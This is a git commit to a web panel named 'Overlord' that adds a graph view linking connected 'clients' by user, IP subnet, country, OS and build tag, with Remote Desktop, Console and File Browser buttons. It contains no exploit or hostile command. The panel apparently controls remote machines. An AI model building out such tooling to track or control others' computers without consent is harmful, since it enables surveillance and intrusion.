add graph view for people

This commit is contained in:
KingKDot
2026-06-04 16:07:42 -05:00
parent fa069fd374
commit 8240dd61f1
12 changed files with 1041 additions and 1 deletions
+3
View File
@@ -9,6 +9,7 @@
"@solana/web3.js": "^1.98.4",
"adm-zip": "^0.5.12",
"ansi-to-html": "0.7.2",
"cytoscape": "^3.34.0",
"fuse.js": "^7.4.1",
"geoip-lite": "latest",
"gridstack": "^12.6.0",
@@ -264,6 +265,8 @@
"commander": ["commander@10.0.1", "", {}, "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug=="],
"cytoscape": ["cytoscape@3.34.0", "", {}, "sha512-62rNSrioXw93uliKFBwjukeQyeWwH2PqDrTac31r2P6464u3AUvTk0xS4LVvT251g7IgkFunrI48ZEZGjywSOg=="],
"debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
"decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="],
+1
View File
@@ -20,6 +20,7 @@
"@solana/web3.js": "^1.98.4",
"adm-zip": "^0.5.12",
"ansi-to-html": "0.7.2",
"cytoscape": "^3.34.0",
"fuse.js": "^7.4.1",
"geoip-lite": "latest",
"gridstack": "^12.6.0",
@@ -0,0 +1,341 @@
const container = document.getElementById("client-graph");
const searchInput = document.getElementById("graph-search");
const statusSelect = document.getElementById("graph-status");
const layoutSelect = document.getElementById("graph-layout");
const refreshBtn = document.getElementById("graph-refresh");
const fitBtn = document.getElementById("graph-fit");
const summaryEl = document.getElementById("graph-summary");
const detailTitle = document.getElementById("graph-detail-title");
const detailMeta = document.getElementById("graph-detail-meta");
const detailActions = document.getElementById("graph-detail-actions");
let cy = null;
let currentGraph = null;
let searchTimer = null;
const LARGE_GRAPH_ANIMATION_CLIENTS = 30000;
const typeColors = {
client: "#38bdf8",
group: "#a78bfa",
build: "#f59e0b",
os: "#22c55e",
country: "#f472b6",
subnet: "#60a5fa",
user: "#f97316",
status: "#64748b",
};
function flagEmoji(country) {
const cc = String(country || "").trim().toUpperCase();
if (!/^[A-Z]{2}$/.test(cc) || cc === "ZZ") return "";
const base = 0x1f1e6;
return String.fromCodePoint(
base + cc.charCodeAt(0) - 65,
base + cc.charCodeAt(1) - 65,
);
}
function osSymbol(osRaw) {
const os = String(osRaw || "").toLowerCase();
if (os.includes("win")) return "⊞";
if (os.includes("mac") || os.includes("darwin")) return "⌘";
if (os.includes("android")) return "▣";
if (os.includes("ubuntu")) return "◌";
if (os.includes("debian")) return "◆";
if (os.includes("fedora")) return "●";
if (os.includes("freebsd")) return "◇";
if (os.includes("linux")) return "⬢";
return "◯";
}
function nodeDisplayLabel(data) {
const label = String(data.label || data.id || "");
if (data.type === "country") {
const flag = flagEmoji(label);
return flag ? `${flag} ${label} ${flag}` : label;
}
if (data.type === "os") return `${osSymbol(label)}\n${label}`;
if (data.type === "status") return `${data.online ? "●" : "○"}\n${label}`;
if (data.type === "group") return `◫\n${label}`;
if (data.type === "build") return `⬡\n${label}`;
if (data.type === "subnet") return `⌁\n${label}`;
if (data.type === "user") return `@\n${label}`;
return label;
}
function escapeHtml(value) {
return String(value ?? "")
.replace(/&/g, "&")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;");
}
function setSummary(summary) {
if (!summaryEl) return;
const total = summary.totalClients && summary.totalClients !== summary.clients
? ` of ${summary.totalClients}`
: "";
summaryEl.textContent = `${summary.clients}${total} clients, ${summary.online} online, ${summary.relationships} relationships`;
}
function graphElements(graph) {
return [
...graph.nodes.map((node) => ({
group: "nodes",
data: {
...node.data,
color: node.data.color || typeColors[node.data.type] || "#94a3b8",
displayLabel: nodeDisplayLabel(node.data),
},
})),
...graph.edges.map((edge) => ({ group: "edges", data: edge.data })),
];
}
function shouldAnimateLayout(graph = currentGraph) {
const total = Number(graph?.summary?.totalClients || graph?.summary?.clients || 0);
return total < LARGE_GRAPH_ANIMATION_CLIENTS;
}
function layoutOptions(name, graph = currentGraph) {
const animate = shouldAnimateLayout(graph);
if (name === "grid") {
return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 };
}
if (name === "circle") {
return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 };
}
if (name === "breadthfirst") {
return { name, directed: false, animate, animationDuration: animate ? 260 : 0, padding: 36, spacingFactor: 1.15 };
}
return {
name: "cose",
animate,
animationDuration: animate ? 360 : 0,
padding: 40,
idealEdgeLength: 110,
nodeRepulsion: 5200,
gravity: 0.28,
numIter: 900,
};
}
function showSelection(node) {
if (!detailTitle || !detailMeta || !detailActions) return;
if (!node) {
detailTitle.textContent = "Nothing selected";
detailMeta.innerHTML = "";
detailActions.innerHTML = "";
return;
}
const data = node.data();
const meta = data.meta || {};
const countryFlag = flagEmoji(meta.country || (data.type === "country" ? data.label : ""));
detailTitle.textContent = data.type === "country" && countryFlag
? `${countryFlag} ${data.label || data.id} ${countryFlag}`
: data.label || data.id;
const rows = [
["Type", data.type],
["Count", data.type === "client" ? "" : data.count || 1],
["Online", data.type === "client" ? (data.online ? "Yes" : "No") : data.onlineCount || 0],
["Client ID", data.clientId || meta.id || ""],
["Host", meta.host || ""],
["User", meta.user || ""],
["OS", meta.os || ""],
["IP", meta.ip || ""],
["Country", meta.country ? `${countryFlag ? `${countryFlag} ` : ""}${meta.country}${countryFlag ? ` ${countryFlag}` : ""}` : ""],
["Group", meta.groupName || ""],
["Build", meta.buildTag || ""],
].filter(([, value]) => value !== "" && value !== undefined && value !== null);
detailMeta.innerHTML = rows.map(([label, value]) => `
<div class="graph-meta-row">
<span>${escapeHtml(label)}</span>
<strong>${escapeHtml(value)}</strong>
</div>
`).join("");
if (data.clientId) {
const id = encodeURIComponent(data.clientId);
const online = data.online === true;
const disabled = online ? "" : " disabled aria-disabled=\"true\" title=\"Client is offline\"";
const disabledNote = online
? ""
: `<div class="graph-action-note"><i class="fa-solid fa-plug-circle-xmark"></i><span>Client is offline</span></div>`;
detailActions.innerHTML = `
${disabledNote}
<button class="graph-action graph-action--remote" data-graph-action="/remotedesktop?clientId=${id}"${disabled}>
<i class="fa-solid fa-desktop"></i><span>Remote Desktop</span>
</button>
<button class="graph-action graph-action--console" data-graph-action="/${id}/console"${disabled}>
<i class="fa-solid fa-terminal"></i><span>Console</span>
</button>
<button class="graph-action graph-action--files" data-graph-action="/${id}/files"${disabled}>
<i class="fa-solid fa-folder-tree"></i><span>File Browser</span>
</button>
<button class="graph-action graph-action--copy" data-graph-copy="${escapeHtml(data.clientId)}">
<i class="fa-solid fa-copy"></i><span>Copy ID</span>
</button>
`;
} else {
detailActions.innerHTML = "";
}
}
function bindInspectorActions() {
detailActions?.addEventListener("click", async (event) => {
const button = event.target.closest("button");
if (!button) return;
if (button.disabled || button.getAttribute("aria-disabled") === "true") return;
const href = button.dataset.graphAction;
if (href) {
window.open(href, "_blank", "noopener");
return;
}
const copyValue = button.dataset.graphCopy;
if (copyValue) {
await navigator.clipboard?.writeText(copyValue);
}
});
}
function selectNode(node) {
if (!cy) return;
cy.elements().removeClass("graph-dim graph-focus");
if (!node) {
showSelection(null);
return;
}
const neighborhood = node.closedNeighborhood();
cy.elements().difference(neighborhood).addClass("graph-dim");
neighborhood.addClass("graph-focus");
showSelection(node);
}
function renderGraph(graph) {
currentGraph = graph;
setSummary(graph.summary);
if (!window.cytoscape) {
if (summaryEl) summaryEl.textContent = "Cytoscape failed to load";
return;
}
if (!cy) {
cy = window.cytoscape({
container,
elements: graphElements(graph),
minZoom: 0.18,
maxZoom: 5,
wheelSensitivity: 1.8,
style: [
{
selector: "node",
style: {
label: "data(displayLabel)",
"background-color": "data(color)",
"border-color": "#020617",
"border-width": 2,
color: "#dbeafe",
"font-family": "Inter, Segoe UI, sans-serif",
"font-size": 11,
"font-weight": 600,
"text-outline-color": "#020617",
"text-outline-width": 3,
"text-valign": "center",
"text-halign": "center",
"line-height": 1.15,
"text-wrap": "wrap",
"text-max-width": 88,
width: "mapData(weight, 1, 12, 28, 74)",
height: "mapData(weight, 1, 12, 28, 74)",
},
},
{
selector: 'node[type = "client"]',
style: {
shape: "round-rectangle",
"border-color": "data(color)",
"border-width": 3,
},
},
{
selector: 'node[online = true]',
style: {
"border-color": "#22c55e",
},
},
{
selector: "edge",
style: {
width: 1.35,
"line-color": "rgba(148, 163, 184, 0.42)",
"target-arrow-shape": "none",
"curve-style": "bezier",
},
},
{
selector: ".graph-dim",
style: {
opacity: 0.12,
},
},
{
selector: ".graph-focus",
style: {
opacity: 1,
},
},
],
});
cy.on("tap", "node", (event) => selectNode(event.target));
cy.on("tap", (event) => {
if (event.target === cy) selectNode(null);
});
} else {
cy.elements().remove();
cy.add(graphElements(graph));
}
cy.layout(layoutOptions(layoutSelect?.value || "cose", graph)).run();
setTimeout(() => cy?.fit(undefined, 32), 420);
}
async function loadGraph() {
if (!container) return;
if (summaryEl) summaryEl.textContent = "Loading...";
const params = new URLSearchParams({
limit: "350",
q: searchInput?.value || "",
status: statusSelect?.value || "all",
});
const res = await fetch(`/api/client-graph?${params}`, { credentials: "include" });
if (!res.ok) {
if (summaryEl) summaryEl.textContent = `Graph unavailable (${res.status})`;
return;
}
renderGraph(await res.json());
}
function debounceLoad() {
clearTimeout(searchTimer);
searchTimer = setTimeout(loadGraph, 220);
}
layoutSelect?.addEventListener("change", () => {
if (cy) cy.layout(layoutOptions(layoutSelect.value, currentGraph)).run();
});
searchInput?.addEventListener("input", debounceLoad);
statusSelect?.addEventListener("change", loadGraph);
refreshBtn?.addEventListener("click", loadGraph);
fitBtn?.addEventListener("click", () => cy?.fit(undefined, 32));
window.addEventListener("resize", () => {
cy?.resize();
cy?.fit(undefined, 32);
});
bindInspectorActions();
loadGraph();
+305
View File
@@ -1135,6 +1135,311 @@ article.card[data-bookmarked="true"] {
justify-content: center;
}
.graph-shell {
min-height: calc(100vh - 64px);
display: grid;
grid-template-rows: auto 1fr;
gap: 14px;
padding: 18px 20px 20px;
}
.graph-toolbar {
display: flex;
align-items: center;
justify-content: space-between;
gap: 16px;
min-width: 0;
border: 1px solid rgba(30, 41, 59, 0.86);
background: rgba(2, 6, 23, 0.78);
border-radius: 8px;
padding: 12px;
}
.graph-title {
display: flex;
align-items: center;
gap: 12px;
min-width: 0;
}
.graph-title > i {
width: 36px;
height: 36px;
display: grid;
place-items: center;
border-radius: 8px;
background: rgba(8, 145, 178, 0.12);
color: #67e8f9;
border: 1px solid rgba(103, 232, 249, 0.18);
}
.graph-title h1 {
margin: 0;
font-size: 1rem;
font-weight: 700;
color: #e2e8f0;
}
.graph-title p {
margin: 2px 0 0;
color: #94a3b8;
font-size: 0.78rem;
}
.graph-controls {
display: flex;
align-items: center;
justify-content: flex-end;
flex-wrap: wrap;
gap: 8px;
}
.graph-field {
height: 38px;
min-width: min(280px, 44vw);
display: flex;
align-items: center;
gap: 8px;
border: 1px solid rgba(51, 65, 85, 0.95);
border-radius: 8px;
background: rgba(15, 23, 42, 0.92);
color: #94a3b8;
padding: 0 10px;
}
.graph-field:focus-within {
border-color: rgba(56, 189, 248, 0.65);
box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.12);
}
.graph-field input {
width: 100%;
min-width: 0;
border: 0;
outline: 0;
background: transparent;
color: #e2e8f0;
font-size: 0.86rem;
}
.graph-select {
height: 38px;
border: 1px solid rgba(51, 65, 85, 0.95);
border-radius: 8px;
background: #0f172a;
color: #dbeafe;
padding: 0 10px;
font-size: 0.84rem;
}
.graph-workspace {
min-height: 0;
display: grid;
grid-template-columns: minmax(0, 1fr) 320px;
gap: 14px;
}
.graph-canvas {
min-height: 560px;
height: calc(100vh - 170px);
border: 1px solid rgba(30, 41, 59, 0.9);
border-radius: 8px;
background:
linear-gradient(rgba(15, 23, 42, 0.86), rgba(2, 6, 23, 0.94)),
linear-gradient(90deg, rgba(148, 163, 184, 0.06) 1px, transparent 1px),
linear-gradient(rgba(148, 163, 184, 0.06) 1px, transparent 1px);
background-size: auto, 34px 34px, 34px 34px;
overflow: hidden;
}
.graph-inspector {
min-height: 0;
height: calc(100vh - 170px);
overflow: auto;
border: 1px solid rgba(148, 163, 184, 0.14);
border-radius: 8px;
background: #141c2b;
box-shadow:
0 14px 38px rgba(0, 0, 0, 0.26),
inset 0 1px 0 rgba(255, 255, 255, 0.03);
padding: 8px;
scrollbar-color: rgba(100, 116, 139, 0.7) transparent;
}
.graph-inspector-kicker {
color: #94a3b8;
font-size: 0.68rem;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.1em;
padding: 8px 8px 0;
}
.graph-inspector h2 {
margin: 4px 8px 10px;
color: #f8fafc;
font-size: 1.05rem;
line-height: 1.25;
overflow-wrap: anywhere;
}
.graph-detail-meta {
display: grid;
gap: 1px;
padding: 4px;
border-top: 1px solid rgba(148, 163, 184, 0.13);
border-bottom: 1px solid rgba(148, 163, 184, 0.13);
}
.graph-meta-row {
display: grid;
grid-template-columns: 82px minmax(0, 1fr);
align-items: center;
gap: 10px;
min-height: 32px;
border-radius: 5px;
padding: 6px 8px;
background: transparent;
}
.graph-meta-row span {
color: #7c8aa0;
font-size: 0.68rem;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.06em;
}
.graph-meta-row strong {
color: #cbd5e1;
font-size: 0.8rem;
font-weight: 600;
overflow-wrap: anywhere;
}
.graph-meta-row:hover {
background: rgba(71, 85, 105, 0.32);
}
.graph-detail-actions {
display: grid;
gap: 1px;
margin-top: 8px;
padding: 4px;
}
.graph-action-note {
width: 100%;
display: flex;
align-items: center;
gap: 8px;
color: #fca5a5;
background: rgba(127, 29, 29, 0.18);
border: 1px solid rgba(248, 113, 113, 0.14);
border-radius: 5px;
padding: 7px 10px;
font-size: 0.78rem;
font-weight: 600;
margin-bottom: 4px;
}
.graph-action {
min-height: 34px;
width: 100%;
display: flex;
align-items: center;
justify-content: flex-start;
gap: 9px;
border-radius: 5px;
border: none;
background: transparent;
color: #cbd5e1;
padding: 7px 10px;
font-size: 0.82rem;
font-weight: 600;
text-align: left;
transition: background 0.1s ease, color 0.1s ease;
}
.graph-action:hover:not(:disabled) {
background: rgba(71, 85, 105, 0.55);
color: #f1f5f9;
}
.graph-action:disabled {
cursor: not-allowed;
opacity: 0.38;
filter: grayscale(0.55);
}
.graph-action--remote {
color: #cbd5e1;
}
.graph-action--remote i {
color: #c084fc;
width: 16px;
text-align: center;
}
.graph-action--console {
color: #cbd5e1;
}
.graph-action--console i {
color: #34d399;
width: 16px;
text-align: center;
}
.graph-action--files {
color: #cbd5e1;
}
.graph-action--files i {
color: #60a5fa;
width: 16px;
text-align: center;
}
.graph-action--copy {
color: #cbd5e1;
}
.graph-action--copy i {
color: #94a3b8;
width: 16px;
text-align: center;
}
@media (max-width: 980px) {
.graph-toolbar {
align-items: stretch;
flex-direction: column;
}
.graph-controls {
justify-content: flex-start;
}
.graph-field {
min-width: min(100%, 360px);
}
.graph-workspace {
grid-template-columns: 1fr;
}
.graph-canvas,
.graph-inspector {
height: auto;
}
.graph-canvas {
min-height: 520px;
}
}
@keyframes radioactiveShake {
0%,
100% {
+1
View File
@@ -36,6 +36,7 @@ if (host) {
const activeMap = {
"/": "nav-clients",
"/metrics": "metrics-link",
"/graph": "graph-link",
"/screenshots": "screenshots-link",
"/logs": "logs-link",
"/scripts": "scripts-link",
@@ -63,6 +63,7 @@ export const NAV_GROUPS = [
iconColor: "text-emerald-400",
children: [
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
{ href: "/graph", label: "Graph", icon: "fa-diagram-project", iconColor: "text-cyan-400", linkId: "graph-link" },
{ href: "/screenshots", label: "Screenshot Wall", icon: "fa-images", iconColor: "text-sky-400", linkId: "screenshots-link", hidden: true },
],
},
+68
View File
@@ -0,0 +1,68 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="/assets/nav-prelude.js"></script>
<link rel="modulepreload" href="/assets/nav.js" />
<title>Overlord Graph</title>
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<link rel="stylesheet" href="/vendor/inter/400.css" />
<link rel="stylesheet" href="/vendor/inter/600.css" />
<link rel="stylesheet" href="/vendor/inter/700.css" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link rel="stylesheet" href="/vendor/fontawesome/css/all.min.css" />
<link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/custom.css" />
<script defer src="/vendor/cytoscape/cytoscape.min.js"></script>
<script defer type="module" src="/assets/client-graph.js"></script>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="graph-shell">
<section class="graph-toolbar" aria-label="Client graph controls">
<div class="graph-title">
<i class="fa-solid fa-diagram-project"></i>
<div>
<h1>Client Graph</h1>
<p id="graph-summary">Loading...</p>
</div>
</div>
<div class="graph-controls">
<label class="graph-field">
<i class="fa-solid fa-magnifying-glass"></i>
<input id="graph-search" type="search" autocomplete="off" placeholder="Search clients" />
</label>
<select id="graph-status" class="graph-select" aria-label="Status filter">
<option value="all">All status</option>
<option value="online">Online</option>
<option value="offline">Offline</option>
</select>
<select id="graph-layout" class="graph-select" aria-label="Graph layout">
<option value="cose">Force</option>
<option value="breadthfirst">Tree</option>
<option value="circle">Circle</option>
<option value="grid">Grid</option>
</select>
<button id="graph-refresh" class="button ghost" type="button" title="Refresh graph" aria-label="Refresh graph">
<i class="fa-solid fa-rotate-right"></i>
</button>
<button id="graph-fit" class="button ghost" type="button" title="Fit graph" aria-label="Fit graph">
<i class="fa-solid fa-expand"></i>
</button>
</div>
</section>
<section class="graph-workspace">
<div id="client-graph" class="graph-canvas" role="application" aria-label="Client relationship graph"></div>
<aside class="graph-inspector" aria-label="Selected graph item">
<div class="graph-inspector-kicker">Selection</div>
<h2 id="graph-detail-title">Nothing selected</h2>
<div id="graph-detail-meta" class="graph-detail-meta"></div>
<div id="graph-detail-actions" class="graph-detail-actions"></div>
</aside>
</section>
</main>
<script type="module" src="/assets/nav.js"></script>
</body>
</html>
+8
View File
@@ -199,6 +199,14 @@ copyFile(
path.join(VENDOR, "gridstack", "gridstack.min.css"),
);
/* ── Cytoscape.js ────────────────────────────────────────────────── */
console.log("Copying Cytoscape.js ...");
copyFile(
path.join(NM, "cytoscape", "dist", "cytoscape.min.js"),
path.join(VENDOR, "cytoscape", "cytoscape.min.js"),
);
/* ── highlight.js (bundle core + languages) ──────────────────────── */
console.log("Bundling highlight.js ...");
@@ -0,0 +1,55 @@
import { describe, expect, test } from "bun:test";
import { buildClientGraph, clientIpSubnet } from "./client-graph";
describe("client graph", () => {
test("builds client relationship nodes and edges", () => {
const graph = buildClientGraph([
{
id: "client-a",
host: "alpha",
user: "alice",
os: "windows",
ip: "10.20.30.40",
country: "US",
online: true,
lastSeen: Date.now(),
groupId: 7,
groupName: "Ops",
groupColor: "#38bdf8",
buildTag: "prod-build",
} as any,
{
id: "client-b",
host: "beta",
user: "alice",
os: "windows",
ip: "10.20.30.55",
country: "US",
online: false,
lastSeen: Date.now(),
groupId: 7,
groupName: "Ops",
groupColor: "#38bdf8",
buildTag: "prod-build",
} as any,
]);
const nodeIds = new Set(graph.nodes.map((node) => node.data.id));
expect(nodeIds.has("client:client-a")).toBe(true);
expect(nodeIds.has("client:client-b")).toBe(true);
expect(nodeIds.has("group:7")).toBe(true);
expect(nodeIds.has("build:prod-build")).toBe(true);
expect(nodeIds.has("os:windows")).toBe(true);
expect(nodeIds.has("subnet:10.20.30.0/24")).toBe(true);
expect(nodeIds.has("user:alice")).toBe(true);
expect(graph.summary.clients).toBe(2);
expect(graph.summary.online).toBe(1);
expect(graph.edges.some((edge) => edge.data.source === "client:client-a" && edge.data.target === "group:7")).toBe(true);
});
test("normalizes IPv4 and IPv6 subnets", () => {
expect(clientIpSubnet("192.168.4.33")).toBe("192.168.4.0/24");
expect(clientIpSubnet("2001:db8:abcd:12::45")).toBe("2001:db8:abcd:12::/64");
expect(clientIpSubnet("not-an-ip")).toBeNull();
});
});
+213
View File
@@ -0,0 +1,213 @@
import type { ListItem } from "../types";
export type GraphNodeKind =
| "client"
| "group"
| "build"
| "os"
| "country"
| "subnet"
| "user"
| "status";
export type ClientGraphNode = {
data: {
id: string;
label: string;
type: GraphNodeKind;
weight: number;
count?: number;
onlineCount?: number;
clientId?: string;
online?: boolean;
href?: string;
color?: string | null;
meta?: Record<string, unknown>;
};
};
export type ClientGraphEdge = {
data: {
id: string;
source: string;
target: string;
label: string;
type: string;
};
};
export type ClientGraph = {
nodes: ClientGraphNode[];
edges: ClientGraphEdge[];
summary: {
clients: number;
totalClients?: number;
online: number;
categories: number;
relationships: number;
generatedAt: number;
};
};
function compactLabel(value: unknown, fallback = "Unknown"): string {
const text = String(value ?? "").trim();
if (!text) return fallback;
return text.length > 48 ? `${text.slice(0, 45)}...` : text;
}
function safeKey(value: string): string {
return value.trim().toLowerCase().replace(/[^a-z0-9_.:/-]+/g, "-").slice(0, 96) || "unknown";
}
function ipv4Subnet(ip: string): string | null {
const parts = ip.trim().split(".");
if (parts.length !== 4) return null;
const octets = parts.map((part) => Number(part));
if (octets.some((octet) => !Number.isInteger(octet) || octet < 0 || octet > 255)) return null;
return `${octets[0]}.${octets[1]}.${octets[2]}.0/24`;
}
function ipv6Subnet(ip: string): string | null {
if (!ip.includes(":")) return null;
const parts = ip.split(":").filter(Boolean);
if (parts.length < 2) return null;
return `${parts.slice(0, 4).join(":")}::/64`;
}
export function clientIpSubnet(ip: unknown): string | null {
const value = String(ip ?? "").trim();
if (!value) return null;
return ipv4Subnet(value) || ipv6Subnet(value);
}
export function buildClientGraph(clients: ListItem[]): ClientGraph {
const nodes = new Map<string, ClientGraphNode>();
const edges = new Map<string, ClientGraphEdge>();
const addNode = (
id: string,
label: string,
type: GraphNodeKind,
data: Partial<ClientGraphNode["data"]> = {},
) => {
const existing = nodes.get(id);
if (existing) {
existing.data.count = (existing.data.count || 0) + 1;
if (data.online) existing.data.onlineCount = (existing.data.onlineCount || 0) + 1;
existing.data.weight = Math.max(existing.data.weight, data.weight || 1);
return existing;
}
const node: ClientGraphNode = {
data: {
id,
label,
type,
weight: data.weight || 1,
count: data.count,
onlineCount: data.online ? 1 : data.onlineCount,
...data,
},
};
nodes.set(id, node);
return node;
};
const addEdge = (source: string, target: string, label: string, type: string) => {
const id = `${source}->${target}:${type}`;
if (edges.has(id)) return;
edges.set(id, { data: { id, source, target, label, type } });
};
for (const client of clients) {
const clientNodeId = `client:${client.id}`;
const clientLabel = compactLabel(client.nickname || client.host || client.id);
addNode(clientNodeId, clientLabel, "client", {
weight: client.online ? 5 : 3,
clientId: client.id,
online: client.online,
href: `/?q=${encodeURIComponent(client.id)}`,
meta: {
id: client.id,
host: client.host || "",
user: client.user || "",
os: client.os || "",
ip: client.ip || "",
country: client.country || "",
groupName: client.groupName || "",
buildTag: client.buildTag || "",
lastSeen: client.lastSeen,
},
});
const statusNode = client.online
? { id: "status:online", label: "Online", color: "#22c55e" }
: { id: "status:offline", label: "Offline", color: "#64748b" };
addNode(statusNode.id, statusNode.label, "status", {
weight: 4,
online: client.online,
color: statusNode.color,
});
addEdge(clientNodeId, statusNode.id, client.online ? "online" : "offline", "status");
if (client.groupName || client.groupId) {
const groupId = `group:${client.groupId || safeKey(client.groupName || "ungrouped")}`;
addNode(groupId, compactLabel(client.groupName || "Group"), "group", {
weight: 4,
online: client.online,
color: client.groupColor || null,
});
addEdge(clientNodeId, groupId, "group", "group");
}
if (client.buildTag) {
const id = `build:${safeKey(client.buildTag)}`;
addNode(id, compactLabel(client.buildTag), "build", { weight: 3, online: client.online });
addEdge(clientNodeId, id, "build", "build");
}
if (client.os) {
const id = `os:${safeKey(client.os)}`;
addNode(id, compactLabel(client.os), "os", { weight: 3, online: client.online });
addEdge(clientNodeId, id, "os", "os");
}
if (client.country) {
const label = String(client.country).toUpperCase();
const id = `country:${safeKey(label)}`;
addNode(id, label, "country", { weight: 3, online: client.online });
addEdge(clientNodeId, id, "country", "country");
}
const subnet = clientIpSubnet(client.ip);
if (subnet) {
const id = `subnet:${safeKey(subnet)}`;
addNode(id, subnet, "subnet", { weight: 3, online: client.online });
addEdge(clientNodeId, id, "subnet", "subnet");
}
if (client.user) {
const id = `user:${safeKey(client.user)}`;
addNode(id, compactLabel(client.user), "user", { weight: 2, online: client.online });
addEdge(clientNodeId, id, "user", "user");
}
}
const sortedNodes = Array.from(nodes.values()).map((node) => {
if (node.data.type !== "client") {
node.data.weight = Math.max(node.data.weight, Math.min(12, 2 + (node.data.count || 1)));
}
return node;
});
return {
nodes: sortedNodes,
edges: Array.from(edges.values()),
summary: {
clients: clients.length,
online: clients.filter((client) => client.online).length,
categories: sortedNodes.filter((node) => node.data.type !== "client").length,
relationships: edges.size,
generatedAt: Date.now(),
},
};
}
@@ -2,12 +2,13 @@ import { authenticateRequest } from "../../auth";
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig } from "../../config";
import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes } from "../../db";
import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db";
import { getThumbnailStats } from "../../thumbnails";
import { getClientCount, getOnlineClients } from "../../clientManager";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById } from "../../users";
import { buildClientGraph } from "../client-graph";
import { runCertbotSetup } from "../certbot-setup";
import {
getActiveProxies,
@@ -336,6 +337,48 @@ export async function handleMiscRoutes(
});
}
if (req.method === "GET" && url.pathname === "/api/client-graph") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
const limit = Math.max(25, Math.min(500, Number(url.searchParams.get("limit") || 300)));
const search = (url.searchParams.get("q") || "").trim().toLowerCase();
const statusFilter = url.searchParams.get("status") || "all";
const groupFilter = url.searchParams.get("group") || "all";
let allowedClientIds: string[] | undefined;
let deniedClientIds: string[] | undefined;
if (user.role !== "admin") {
const scope = getUserClientAccessScope(user.userId);
if (scope === "none") {
return Response.json(buildClientGraph([]), { headers: deps.CORS_HEADERS });
}
if (scope === "allowlist") {
allowedClientIds = listUserClientRuleIdsByAccess(user.userId, "allow");
} else if (scope === "denylist") {
deniedClientIds = listUserClientRuleIdsByAccess(user.userId, "deny");
}
}
const clients = listClients({
page: 1,
pageSize: limit,
search,
sort: "last_seen_desc",
statusFilter,
osFilter: "all",
countryFilter: "all",
enrollmentFilter: "approved",
groupFilter,
allowedClientIds,
deniedClientIds,
});
const graph = buildClientGraph(clients.items);
graph.summary.totalClients = clients.total;
return Response.json(graph, { headers: deps.CORS_HEADERS });
}
if (url.pathname === "/health") {
return new Response("ok", { headers: deps.CORS_HEADERS });
}
@@ -82,6 +82,7 @@ type QueryClientPageDef = {
/** Static pages: each entry maps a URL path to its HTML file + access rules. */
const STATIC_PAGES: StaticPageDef[] = [
{ path: "/metrics", file: "metrics.html", access: "any", checkPasswordChange: true },
{ path: "/graph", file: "graph.html", access: "any", checkPasswordChange: true },
{ path: "/screenshots", file: "screenshots.html", access: "no-viewer", checkPasswordChange: true },
{ path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true },
{ path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" },